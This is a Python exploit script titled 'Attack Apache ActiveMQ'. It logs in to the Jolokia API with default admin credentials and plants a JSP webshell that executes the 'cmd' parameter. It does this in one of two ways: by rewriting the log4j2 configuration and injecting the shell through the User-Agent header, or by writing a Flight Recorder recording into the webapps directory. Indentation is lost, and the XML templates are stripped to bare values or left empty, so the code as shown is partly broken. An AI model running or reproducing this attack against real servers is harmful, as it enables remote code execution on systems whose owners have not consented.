#!/usr/bin/env python3
import sys
import logging
import requests
import argparse
import time
from urllib.parse import urljoin
from html import escape
logging.basicConfig(stream=sys.stdout, level=logging.INFO, format='%(asctime)s - %(levelname)s - %(message)s')
webshell = ('<% Process p = Runtime.getRuntime().exec(request.getParameter("cmd")); '
'out.println(org.apache.commons.io.IOUtils.toString(p.getInputStream(), "utf-8")); %>')
original_template = r'''
'''
evil_template = r'''
'''
record_template = r'''
true
true
1000 ms
true
everyChunk
true
1000 ms
true
true
true
true
true
20 ms
true
true
20 ms
true
true
20 ms
true
true
20 ms
false
true
20 ms
true
true
0 ms
true
true
0 ms
true
true
0 ms
true
true
false
true
0 ms
false
true
false
true
beginChunk
true
beginChunk
true
20 ms
true
20 ms
true
10 ms
false
10 ms
false
10 ms
false
10 ms
false
10 ms
false
10 ms
true
10 ms
true
true
true
everyChunk
true
beginChunk
true
beginChunk
true
beginChunk
true
beginChunk
true
beginChunk
true
beginChunk
true
beginChunk
true
true
true
true
true
true
true
false
everyChunk
true
everyChunk
true
beginChunk
true
beginChunk
true
beginChunk
true
beginChunk
false
true
true
true
true
true
true
true
true
true
true
true
0 ms
true
0 ms
true
0 ms
true
0 ms
true
0 ms
true
0 ms
true
0 ms
true
0 ms
false
0 ms
false
0 ms
true
0 ms
true
true
true
true
true
true
true
true
true
false
false
true
false
true
true
false
everyChunk
false
false
everyChunk
false
true
false
0 ns
true
beginChunk
true
1000 ms
true
1000 ms
true
60 s
false
false
true
beginChunk
true
everyChunk
true
100 ms
true
beginChunk
true
everyChunk
true
true
beginChunk
true
beginChunk
true
beginChunk
true
10 s
true
1000 ms
true
10 s
true
beginChunk
true
endChunk
true
5 s
true
beginChunk
true
everyChunk
false
true
false
true
true
everyChunk
true
endChunk
true
endChunk
true
true
20 ms
true
true
20 ms
true
true
20 ms
true
true
20 ms
true
true
20 ms
false
true
false
true
false
true
false
true
false
true
true
true
true
1000 ms
true
true
true
true
true
10 ms
true
0 ms
true
10 ms
true
10 ms
20 ms
20 ms
20 ms
false
'''
class Application(object):
def __init__(self, url, username, password):
self.url = url
self.session = requests.session()
self.session.headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) '
'Chrome/117.0.5938.132 Safari/537.36',
'Origin': url,
}
self.session.auth = (username, password)
def request(self, method: str, path: str, *args, **kwargs):
data = self.session.request(method, urljoin(self.url, path), *args, **kwargs).json()
assert data['status'] == 200
return data
def find_mbean_name(self):
data = self.request('GET', '/api/jolokia/list')
for name, val in data['value'].items():
if name == 'org.apache.logging.log4j2':
for type_name in val.keys():
if type_name.startswith('type='):
return f'{name}:{type_name}'
for name, val in data['value'].items():
if name == 'jdk.management.jfr':
for type_name in val.keys():
if type_name == 'type=FlightRecorder':
return f'{name}:{type_name}'
raise Exception('No mbean whose name is org.apache.logging.log4j2 or jdk.management.jfr')
def modify_config(self, mbean: str, template: str):
self.request('POST', '/api/jolokia/', json=dict(
type='exec',
mbean=mbean,
operation='setConfigText',
arguments=[template, 'utf-8']
))
def exploit_log4j(self, mbean: str):
self.modify_config(mbean, evil_template)
logging.info('update log config')
self.request('GET', '/api/jolokia/version', headers={
'User-Agent': f'Mozilla ||| {webshell} |||'
})
logging.info('write webshell to %s', urljoin(self.url, '/admin/shell.jsp?cmd=id'))
self.modify_config(mbean, original_template)
logging.info('restore log config')
def exploit_jfr(self):
record_id = self.create_record()
logging.info('create flight record, id = %d', record_id)
self.request('POST', '/api/jolokia/', json=dict(
type='exec',
mbean='jdk.management.jfr:type=FlightRecorder',
operation='setConfiguration',
arguments=[record_id, record_template]
))
logging.info('update configuration for record %d', record_id)
self.request('POST', '/api/jolokia/', json=dict(
type='exec',
mbean='jdk.management.jfr:type=FlightRecorder',
operation='startRecording',
arguments=[record_id]
))
logging.info('start record')
time.sleep(1)
self.request('POST', '/api/jolokia/', json=dict(
type='exec',
mbean='jdk.management.jfr:type=FlightRecorder',
operation='stopRecording',
arguments=[record_id]
))
logging.info('stop record')
self.request('POST', '/api/jolokia/', json=dict(
type='exec',
mbean='jdk.management.jfr:type=FlightRecorder',
operation='copyTo',
arguments=[record_id, 'webapps/admin/shelljfr.jsp']
))
logging.info('write webshell to %s', urljoin(self.url, '/admin/shelljfr.jsp?cmd=id'))
def exploit(self, action='auto'):
mbean = self.find_mbean_name()
if action == 'log4j':
logging.info('choice MBean org.apache.logging.log4j2 manually')
self.exploit_log4j(mbean)
elif action == 'jfr':
logging.info('choice MBean jdk.management.jfr:type=FlightRecorder manually')
self.exploit_jfr()
elif mbean.startswith('org.apache.logging.log4j2'):
logging.info('choice MBean %r automatically', mbean)
self.exploit_log4j(mbean)
else:
logging.info('choice MBean %r automatically', mbean)
self.exploit_jfr()
def create_record(self):
data = self.request('POST', '/api/jolokia/', json=dict(
type='exec',
mbean='jdk.management.jfr:type=FlightRecorder',
operation='newRecording',
arguments=[]
))
return data['value']
def main():
parser = argparse.ArgumentParser(description='Attack Apache ActiveMQ')
parser.add_argument('--username', '-u', type=str, default='admin', help='Username for the ActiveMQ console')
parser.add_argument('--password', '-p', type=str, default='admin', help='Password for the ActiveMQ console')
parser.add_argument('--exploit', '-e', type=str, default='auto', choices=['auto', 'log4j', 'jfr'], help='Exploit')
parser.add_argument('url', type=str)
args = parser.parse_args()
app = Application(args.url, args.username, args.password)
app.exploit(args.exploit)
if __name__ == '__main__':
main()